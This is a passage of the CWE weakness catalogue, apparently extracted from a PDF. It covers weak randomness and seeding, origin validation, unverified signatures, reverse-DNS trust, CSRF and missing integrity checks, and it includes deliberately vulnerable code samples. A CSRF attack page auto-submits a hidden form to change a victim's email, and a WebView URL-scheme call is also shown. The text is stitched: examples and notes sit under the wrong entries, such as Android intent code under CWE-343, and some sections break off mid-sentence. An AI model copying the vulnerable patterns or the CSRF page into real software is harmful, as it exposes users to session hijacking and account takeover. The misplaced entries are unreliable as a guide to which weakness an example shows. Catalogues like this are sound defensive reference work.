## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart  <i>If a pseudo-random number generator is using a limited entropy source which runs out (if the generator fails closed), the program may pause or crash.</i>	
Access Control Other	Bypass Protection Mechanism Other  <i>If a PRNG is using a limited entropy source which runs out, and the generator fails open, the generator could produce predictable random numbers. Potentially a weak source of random numbers could weaken the encryption method used for authentication of users.</i>	

## Potential Mitigations

**Phase: Architecture and Design**

**Phase: Requirements**

*Strategy = Libraries or Frameworks*

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

**Phase: Implementation**

Consider a PRNG that re-seeds itself as needed from high-quality pseudo-random output, such as hardware devices.

**Phase: Architecture and Design**

When deciding which PRNG to use, look at its sources of entropy. Depending on what your security needs are, you may need to use a random number generator that always uses strong random data -- i.e., a random number generator that attempts to be strong but will fail in a weak way or will always provide some middle ground of protection through techniques like re-seeding. Generally, something that always provides a predictable amount of strength is preferable.

## CWE-333: Improper Handling of Insufficient Entropy in TRNG

<b>Weakness ID</b> : 333	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

True random number generators (TRNG) generally have a limited source of entropy and therefore can fail or block.

### Extended Description

The rate at which true random numbers can be generated is limited. It is important that one uses them only when they are needed for security.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	2092

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Low

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart  <i>A program may crash or block if it runs out of random numbers.</i>	

### Potential Mitigations

#### Phase: Implementation

Rather than failing on a lack of random numbers, it is often preferable to wait for more numbers to be created.

### Demonstrative Examples

#### Example 1:

This code uses a TRNG to generate a unique session id for new connections to a server:

*Example Language: C*

*(bad)*

```
while (1){
  if (haveNewConnection()){
    if (hwRandom()){
      int sessionID = hwRandom();
      createNewConnection(sessionID);
    } } }
```

This code does not attempt to limit the number of new connections or make sure the TRNG can successfully generate a new random number. An attacker may be able to create many new connections and exhaust the entropy of the TRNG. The TRNG may then block and cause the program to crash or hang.

## Demonstrative Examples

### Example 1:

The following XML example code is a deployment descriptor for a Java web application deployed on a Sun Java Application Server. This deployment descriptor includes a session configuration property for configuring the session ID length.

Example Language: XML

(bad)

```
<sun-web-app>
...
<session-config>
  <session-properties>
    <property name="idLengthBytes" value="8">
      <description>The number of bytes in this web module's session ID.</description>
    </property>
  </session-properties>
</session-config>
...
</sun-web-app>
```

This deployment descriptor has set the session ID length for this Java web application to 8 bytes (or 64 bits). The session ID length for Java web applications should be set to 16 bytes (128 bits) to prevent attackers from guessing and/or stealing a session ID and taking over a user's session.

Note for most application servers including the Sun Java Application Server the session ID length is by default set to 128 bits and should not be changed. And for many application servers the session ID length cannot be changed from this default setting. Check your application server documentation for the session ID length default setting and configuration options to ensure that the session ID length is set to 128 bits.

## CWE-336: Same Seed in Pseudo-Random Number Generator (PRNG)

<b>Weakness ID</b> : 336	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

A Pseudo-Random Number Generator (PRNG) uses the same seed each time the product is initialized.

### Extended Description

If an attacker can guess (or knows) the seed, then the attacker may be able to determine the random numbers that will be produced from the PRNG.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. ## Potential Mitigations

### Phase: Architecture and Design

Do not reuse PRNG seeds. Consider a PRNG that periodically re-seeds itself as needed from a high quality pseudo-random output, such as hardware devices.

### Phase: Architecture and Design

### Phase: Requirements

*Strategy = Libraries or Frameworks*

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

## Demonstrative Examples

### Example 1:

The following code uses a statistical PRNG to generate account IDs.

*Example Language: Java*

*(bad)*

```
private static final long SEED = 1234567890;
public int generateAccountID() {
    Random random = new Random(SEED);
    return random.nextInt();
}
```

Because the program uses the same seed value for every invocation of the PRNG, its values are predictable, making the system vulnerable to attack.

## CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG)

**Weakness ID** : 337

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

### Description

A Pseudo-Random Number Generator (PRNG) is initialized from a predictable seed, such as the process ID or system time.

### Extended Description

The use of predictable seeds significantly reduces the number of possible seeds that an attacker would need to test in order to predict which random numbers will be generated by the PRNG.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

### Potential Mitigations

Use non-predictable inputs for seed generation.

#### Phase: Architecture and Design

#### Phase: Requirements

*Strategy = Libraries or Frameworks*

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

#### Phase: Implementation

Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.

### Demonstrative Examples

**Example 1:**

Both of these examples use a statistical PRNG seeded with the current value of the system clock to generate a random number:

*Example Language: Java*

*(bad)*

```
Random random = new Random(System.currentTimeMillis());
int accountID = random.nextInt();
```

*Example Language: C*

*(bad)*

```
srand(time());
int randNum = rand();
```

An attacker can easily predict the seed used by these PRNGs, and so also predict the stream of random numbers generated. Note these examples also exhibit CWE-338 (Use of Cryptographically Weak PRNG).

**CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)**

**Weakness ID** : 338

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

**Description**

The product uses a Pseudo-Random Number Generator (PRNG) in a security context, but the PRNG's algorithm is not cryptographically strong.

**Extended Description**

When a non-cryptographic PRNG is used in a cryptographic context, it can expose the cryptography to certain types of attacks.

Often a pseudo-random number generator (PRNG) is not designed for cryptography. Sometimes a mediocre source of randomness is sufficient or preferable for algorithms that use random numbers. Weak generators generally take less processing power and/or do not use the precious, finite, entropy sources on a system. While such PRNGs might have very useful features, these same features could be used to break the cryptography.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. ## Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism  <i>If a PRNG is used for authentication and authorization, such as a session ID or a seed for generating a cryptographic key, then an attacker may be able to easily guess the ID or cryptographic key and gain access to restricted functionality.</i>	

## Potential Mitigations

### Phase: Implementation

Use functions or hardware which use a hardware-based random number generation for all crypto. This is the recommended solution. Use `CryptGenRandom` on Windows, or `hw_rand()` on Linux.

## Demonstrative Examples

**Example 1:**

Both of these examples use a statistical PRNG seeded with the current value of the system clock to generate a random number:

*Example Language: Java*

*(bad)*

```
Random random = new Random(System.currentTimeMillis());
int accountID = random.nextInt();
```

*Example Language: C*

*(bad)*

```
srand(time());
int randNum = rand();
```

The random number functions used in these examples, `rand()` and `Random.nextInt()`, are not considered cryptographically strong. An attacker may be able to predict the random numbers generated by these functions. Note that these example also exhibit CWE-337 (Predictable Seed in PRNG).

### Potential Mitigations

#### Phase: Architecture and Design

Use well vetted pseudo-random number generating algorithms with adequate length seeds. Pseudo-random number generators can produce predictable numbers if the generator is known and the seed can be guessed. A 256-bit seed is a good starting point for producing a "random enough" number.

#### Phase: Architecture and Design

#### Phase: Requirements

*Strategy = Libraries or Frameworks*

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

## CWE-341: Predictable from Observable State

**Weakness ID** : 341**Status**: Draft**Structure** : Simple**Abstraction** : Base

### Description

A number or object is predictable based on observations that the attacker can make about the state of the system or network, such as time, process ID, etc.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context  <i>This weakness could be exploited by an attacker in a number ways depending on the context. If a predictable number is used to generate IDs or keys that are used within protection mechanisms, then an attacker could gain unauthorized access to the system. If predictable filenames are used for storing sensitive information, then an attacker might gain access to the system and may be able to gain access to the information in the file.</i>	

### Potential Mitigations

#### Phase: Implementation

Increase the entropy used to seed a PRNG.

#### Phase: Architecture and Design

#### Phase: Requirements

*Strategy = Libraries or Frameworks*

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

#### Phase: Implementation

Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.

## Demonstrative Examples

### Example 1:

This code generates a unique random identifier for a user's session.

Example Language: PHP

(bad)

```
function generateSessionID($userID){
    srand($userID);
    return rand();
}
```

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session.

This example also exhibits a Small Seed Space (CWE-339).

## CWE-343: Predictable Value Range from Previous Values

<b>Weakness ID</b> : 343	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

## Description

The software's random number generator produces a series of values which, when observed, can be used to infer a relatively small range of possibilities for the next value that could be generated.

## Extended Description

The output of a random number generator should not be predictable based on observations of previous values. In some cases, an attacker cannot predict the exact value that will be produced next, but can narrow down the possibilities significantly. This reduces the amount of effort to perform a brute force attack. For example, suppose the product generates random numbers between 1 and 100, but it always produces a larger value until it reaches 100. If the generator produces an 80, then the attacker knows that the next value will be somewhere between 81 and 100. Instead of 100 possibilities, the attacker only needs to consider 20.

These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. ## Demonstrative Examples

### Example 1:

This Android application will remove a user account when it receives an intent to do so:

*Example Language: Java*

*(bad)*

```
IntentFilter filter = new IntentFilter("com.example.RemoveUser");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
public class DeleteReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        int userID = intent.getIntExtra("userID");
        destroyUserData(userID);
    }
}
```

```
}
```

This application does not check the origin of the intent, thus allowing any malicious application to remove a user. Always check the origin of an intent, or create an allowlist of trusted applications using the manifest.xml file.

### Example 2:

These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:

Example Language: Java

(bad)

```
// Android
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url){
    if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
        if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){
            writeToView(view, UserData);
            return false;
        }
        else{
            return true;
        }
    }
}
```

Example Language: Objective-C

(bad)

```
// iOS
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest navigationType:
(UIWebViewNavigationType)exNavigationType
{
    NSURL *URL = [exRequest URL];
    if ([[URL scheme] isEqualToString:@"exampleScheme"])
    {
        NSString *functionString = [URL resourceSpecifier];
        if ([functionString hasPrefix:@"specialFunction"])
        {
            // Make data available back in webview.
            UIWebView *webView = [self writeToView:[URL query]];
        }
        return NO;
    }
    return YES;
}
```

A call into native code can then be initiated by passing parameters within the URL:

Example Language: JavaScript

(attack)

```
window.location = examplescheme://method?parameter=value
```

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

#### Terminology

The "Origin Validation Error" term was originally used in a 1995 thesis [REF-324]. Although not formally defined, an issue is considered to be an origin validation error if either (1) "an object [accepts] input from an unauthorized subject," or (2) "the system [fails] to properly or completely authenticate a subject." A later section says that an origin validation error can occur when the system (1) "does not properly authenticate a user or process" or (2) "does not properly authenticate the shared data or libraries." The only example provided in the thesis (covered by OSVDB:57615) involves a setuid program running command-line arguments without dropping privileges. So, this definition (and its examples in the thesis) effectively cover other weaknesses such as CWE-287 (Improper Authentication), CWE-285 (Improper Authorization), and CWE-250 (Execution with Unnecessary Privileges). There appears to be little usage of this term today, except in the SecurityFocus vulnerability database, where the term is used for a variety of issues, including web-browser problems that allow violation of the Same Origin Policy and improper validation of the source of an incoming message.

## CWE-347: Improper Verification of Cryptographic Signature

**Weakness ID** : 347

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The software does not verify, or incorrectly verifies, the cryptographic signature for data.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

<i>An attacker could gain access to sensitive data and possibly execute unauthorized code.</i>		

### Demonstrative Examples

#### Example 1:

In the following code, a JarFile object is created from a downloaded file.

*Example Language: Java*

*(bad)*

```
File f = new File(downloadedFilePath);
JarFile jf = new JarFile(f);
```

The JAR file that was potentially downloaded from an untrusted source is created without verifying the signature (if present). An alternate constructor that accepts a boolean verify parameter should be used instead.

## CWE-348: Use of Less Trusted Source

<b>Weakness ID</b> : 348	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software has two different sources of the same data or information, but it uses the source that has less support for verification, is less trusted, or is less resistant to attack.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. ### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity  <i>An attacker could utilize the untrusted data source to bypass protection mechanisms and gain access to sensitive data.</i>	

### Demonstrative Examples

#### Example 1:

This code attempts to limit the access of a page to certain IP Addresses. It checks the 'HTTP\_X\_FORWARDED\_FOR' header in case an authorized user is sending the request through a proxy.

*Example Language: PHP*

*(bad)*

```
$requestingIP = '0.0.0.0';
if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
    $requestingIP = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
    $requestingIP = $_SERVER['REMOTE_ADDR'];
}
if (in_array($requestingIP, $ipAllowlist)) {
    generatePage();
    return;
}
else {
```

```

echo "You are not authorized to view this page";
return;
}

```

The 'HTTP\_X\_FORWARDED\_FOR' header can be user controlled and so should never be trusted. An attacker can falsify the header to gain access to the page.

This fixed code only trusts the 'REMOTE\_ADDR' header and so avoids the issue:

Example Language: PHP

(good)

```

$requestingIP = '0.0.0.0';
if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
    echo "This application cannot be accessed through a proxy.";
    return;
} else {
    $requestingIP = $_SERVER['REMOTE_ADDR'];
}
...

```

Be aware that 'REMOTE\_ADDR' can still be spoofed. This may seem useless because the server will send the response to the fake address and not the attacker, but this may still be enough to conduct an attack. For example, if the generatePage() function in this code is resource intensive, an attacker could flood the server with fake requests using an authorized IP and consume significant resources. This could be a serious DoS attack even though the attacker would never see the page's sensitive content.

## CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action

**Weakness ID :** 350

**Status:** Draft

**Structure :** Simple

**Abstraction :** Variant

### Description

The software performs reverse DNS resolution on an IP address to obtain the hostname and make a security decision, but it does not properly ensure that the IP address is truly associated with the hostname.

### Extended Description

Since DNS names can be easily spoofed or misreported, and it may be difficult for the software to detect if a trusted DNS server has been compromised, DNS names do not constitute a valid authentication mechanism.

When the software performs a reverse DNS resolution for an IP address, if an attacker controls the server for that IP address, then the attacker can cause the server to return an arbitrary hostname. As a result, the attacker may be able to bypass authentication, cause the wrong hostname to be recorded in log files to hide activities, or perform other attacks.

Attackers can spoof DNS names by either (1) compromising a DNS server and modifying its records (sometimes called DNS cache poisoning), or (2) having legitimate control over a DNS server associated with their IP address.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

ChildOf		290	Authentication Bypass by Spoofing	649
CanPrecede		923	Improper Restriction of Communication Channel to Intended Endpoints	1638

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism  <i>Malicious users can fake authentication information by providing false DNS information.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Use other means of identity verification that cannot be simply spoofed. Possibilities include a username/password or certificate.

#### Phase: Implementation

Perform proper forward and reverse DNS lookups to detect DNS spoofing.

### Demonstrative Examples

#### Example 1:

The following code samples use a DNS lookup in order to decide whether or not an inbound request is from a trusted host. If an attacker can poison the DNS cache, they can gain trusted status.

*Example Language: C*

*(bad)*

```
struct hostent *hp;struct in_addr myaddr;
char* tHost = "trustme.example.com";
myaddr.s_addr=inet_addr(ip_addr_string);
hp = gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET);
if (hp && !strncmp(hp->h_name, tHost, sizeof(tHost))) {
    trusted = true;
} else {
    trusted = false;
}
```

*Example Language: Java*

*(bad)*

```
String ip = request.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
if (addr.getCanonicalHostName().endsWith("trustme.com")) {
    trusted = true;
}
```

Example Language: C#

(bad)

```
IPAddress hostIPAddress = IPAddress.Parse(RemotelpAddress);
IPHostEntry hostInfo = Dns.GetHostByAddress(hostIPAddress);
if (hostInfo.HostName.EndsWith("trustme.com")) {
    trusted = true;
}
```

IP addresses are more reliable than DNS names, but they can also be spoofed. Attackers can easily forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.

**Example 2:**

In these examples, a connection is established if a request is made by a trusted host.

Example Language: C

(bad)

```
sd = socket(AF_INET, SOCK_DGRAM, 0);
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
serv.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));
while (1) {
    memset(msg, 0x0, MAX_MSG);
    cliilen = sizeof(cli);
    h=gethostbyname(inet_ntoa(cliAddr.sin_addr));
    if (h->h_name==...) n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &cliilen);
}
```

Example Language: Java

(bad)

```
while(true) {
    DatagramPacket rp=new DatagramPacket(rData,rData.length);
    outSock.receive(rp);
    String in = new String(p.getData(),0, rp.getLength());
    InetAddress IPAddress = rp.getAddress();
    int port = rp.getPort();
    if ((rp.getHostName()==...) & (in==...)) {
        out = secret.getBytes();
        DatagramPacket sp =new DatagramPacket(out,out.length, IPAddress, port);
        outSock.send(sp);
    }
}
```

These examples check if a request is from a trusted host before responding to a request, but the code only verifies the hostname as stored in the request packet. An attacker can spoof the hostname, thus impersonating a trusted client.

## CWE-352: Cross-Site Request Forgery (CSRF)

<b>Weakness ID</b> : 352	<b>Status</b> : Stable
<b>Structure</b> : Composite	
<b>Abstraction</b> : Compound	

### Description

The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request.

### Composite Components

Nature	Type	ID	Name	Page
Requires	B	346	Origin Validation Error	771
Requires	C	441	Unintended Proxy or Intermediary ('Confused Deputy')	964
Requires	C	642	External Control of Critical State Data	1278
Requires	B	613	Insufficient Session Expiration	1239

### Extended Description

When a web server is designed to receive a request from a client without any mechanism for verifying that it was intentionally sent, then it might be possible for an attacker to trick a client into making an unintentional request to the web server which will be treated as an authentic request. This can be done via a URL, image load, XMLHttpRequest, etc. and can result in exposure of data or unintended code execution.

### Relationships

These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Gain Privileges or Assume Identity	
Integrity	Bypass Protection Mechanism	
Availability	Read Application Data	
Non-Repudiation	Modify Application Data	
Access Control	DoS: Crash, Exit, or Restart	

*The consequences will vary depending on the nature of the functionality that is vulnerable to CSRF. An attacker could effectively perform any operations as the victim. If the victim is an administrator or privileged user, the consequences may include obtaining complete control over the web application - deleting or stealing data, uninstalling the product, or using it to launch other attacks against all of the product's users. Because the attacker has the identity of the victim, the scope of CSRF is limited only by the victim's privileges.*

### Detection Methods

#### Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual analysis can be useful for finding this weakness, and for minimizing false positives assuming an understanding of business logic. However, it might not achieve desired code coverage within limited time constraints. For black-box analysis, if credentials are not known for privileged accounts, then the most security-critical portions of the application may not receive sufficient attention. Consider using OWASP CSRFTester to identify potential issues and aid in manual analysis.

*Effectiveness = High*

*These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.*

#### Automated Static Analysis

CSRF is currently difficult to detect reliably using automated techniques. This is because each application has its own implicit security policy that dictates which requests can be influenced by an outsider and automatically performed on behalf of a user, versus which requests require strong confidence that the user intends to make the request. For example, a keyword search of the public portion of a web site is typically expected to be encoded within a link that can be launched automatically when the user clicks on the link.

*Effectiveness = Limited*

#### Automated Static Analysis - Binary or Bytecode

## **Potential Mitigations**

### **Phase: Architecture and Design**

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330] Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]

### **Phase: Implementation**

Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.

### **Phase: Architecture and Design**

Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]

### **Phase: Architecture and Design**

Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.

### Phase: Architecture and Design

Use the "double-submitted cookie" method as described by Felten and Zeller: When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult. This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]

### Phase: Architecture and Design

Do not use the GET method for any request that triggers a state change.

### Phase: Implementation

Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.

## Demonstrative Examples

### Example 1:

This example PHP code attempts to secure the form submission process by validating that the user submitting the form has a valid session. A CSRF attack would not be prevented by this countermeasure because the attacker forges a request through the user's web browser in which a valid session already exists.

The following HTML is intended to allow a user to update a profile.

*Example Language: HTML*

*(bad)*

```
<form action="/url/profile.php" method="post">
<input type="text" name="firstname"/>
<input type="text" name="lastname"/>
<br/>
<input type="text" name="email"/>
<input type="submit" name="submit" value="Update"/>
</form>
```

profile.php contains the following code.

*Example Language: PHP*

*(bad)*

```
// initiate the session in order to validate sessions
session_start();
//if the session is registered to a valid user then allow update
if (! session_is_registered("username")) {
    echo "invalid session detected!";
    // Redirect user to login page
    [...]
    exit;
}
// The user session is valid, so process the request
// and update the information
update_profile();
function update_profile {
    // read in the data from $POST and send an update
    // to the database
```

```

SendUpdateToDatabase($_SESSION['username'], $_POST['email']);
[...]
echo "Your profile has been successfully updated.";
}

```

This code may look protected since it checks for a valid session. However, CSRF attacks can be staged from virtually any tag or HTML construct, including image tags, links, embed or object tags, or other attributes that load background images.

The attacker can then host code that will silently change the username and email address of any user that visits the page while remaining logged in to the target web application. The code might be an innocent-looking web page such as:

Example Language: HTML

(attack)

```

<SCRIPT>
function SendAttack () {
    form.email = "attacker@example.com";
    // send to profile.php
    form.submit();
}
</SCRIPT>
<BODY onload="javascript:SendAttack();">
<form action="http://victim.example.com/profile.php" id="form" method="post">
<input type="hidden" name="firstname" value="Funny">
<input type="hidden" name="lastname" value="Joke">
<br/>
<input type="hidden" name="email">
</form>

```

Notice how the form contains hidden fields, so when it is loaded into the browser, the user will not notice it. Because SendAttack() is defined in the body's onload attribute, it will be automatically called when the victim loads the web page.

Assuming that the user is already logged in to victim.example.com, profile.php will see that a valid user session has been established, then update the email address to the attacker's own address. At this stage, the user's identity has been compromised, and messages sent through this profile could be sent to the attacker's address.

### Notes

#### Relationship

There can be a close relationship between XSS and CSRF (CWE-352). An attacker might use CSRF in order to trick the victim into submitting requests to the server in which the requests contain an XSS payload. A well-known example of this was the Samy worm on MySpace [REF-956]. The worm used XSS to insert malicious HTML sequences into a user's profile and add the attacker as a MySpace friend. MySpace friends of that victim would then execute the payload to modify their own profiles, causing the worm to propagate exponentially. Since the victims did not intentionally insert the malicious script themselves, CSRF was a root cause.

#### Theoretical

The CSRF topology is multi-channel: Attacker (as outsider) to intermediary (as user). The interaction point is either an external or internal channel. Intermediary (as user) to server (as victim). The activation point is an internal channel.

## CWE-353: Missing Support for Integrity Check

**Weakness ID** : 353  
**Structure** : Simple  
**Abstraction** : Base

**Status**: Draft

### Description

The software uses a transmission protocol that does not include a mechanism for verifying the integrity of the data during transmission, such as a checksum.

### Extended Description

If integrity check values or "checksums" are omitted from a protocol, there is no way of determining if data has been corrupted in transmission. The lack of checksum functionality in a protocol removes the first application-level check of data that can be used. The end-to-end philosophy of checks states that integrity checks should be performed at the lowest level that they can be completely implemented. Excluding further sanity checks and input validation performed by applications, the protocol's checksum is the most important level of checksum, since it can be performed more completely than at any previous level and takes into account entire messages, as opposed to single packets.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Common Consequences

Scope	Impact	Likelihood
Integrity	Other	
Other	<i>Data that is parsed and used may be corrupted.</i>	
Non-Repudiation	Hide Activities	
Other	Other	
	<i>Without a checksum it is impossible to determine if any changes have been made to the data after it was sent.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Add an appropriately sized checksum to the protocol, ensuring that data received may be simply validated before it is parsed and used.

#### Phase: Implementation

Ensure that the checksums present in the protocol design are properly implemented and added to each message before it is sent.

### Demonstrative Examples

#### Example 1:

In this example, a request packet is received, and privileged information is sent to the requester:

*Example Language: Java*

*(bad)*

```
while(true) {
    DatagramPacket rp = new DatagramPacket(rData,rData.length);
    outSock.receive(rp);
    InetAddress IPAddress = rp.getAddress();
    int port = rp.getPort();
    out = secret.getBytes();
    DatagramPacket sp =new DatagramPacket(out, out.length, IPAddress, port);
    outSock.send(sp);
}
```

The response containing secret data has no integrity check associated with it, allowing an attacker to alter the message without detection.

## CWE-354: Improper Validation of Integrity Check Value

<b>Weakness ID</b> : 354	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software does not validate or incorrectly validates the integrity check values or "checksums" of a message. This may prevent it from detecting if the data has been modified or corrupted in transmission.

### Extended Description

Improper validation of checksums before use results in an unnecessary risk that can easily be mitigated. The protocol specification describes the algorithm used for calculating the checksum. It is then a simple matter of implementing the calculation and verifying that the calculated checksum and the received checksum match. Improper verification of the calculated checksum and the received checksum can lead to far greater consequences.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. ## CWE-356: Product UI does not Warn User of Unsafe Actions

<b>Weakness ID</b> : 356	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

## Description

The software's user interface does not warn the user before undertaking an unsafe action on behalf of that user. This makes it easier for attackers to trick users into inflicting damage to their system.

## Extended Description

Software systems should warn users that a potentially dangerous action may occur if the user proceeds. For example, if the user downloads a file from an unknown source and attempts to execute the file on their machine, then the application's GUI can indicate that the file is unsafe.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

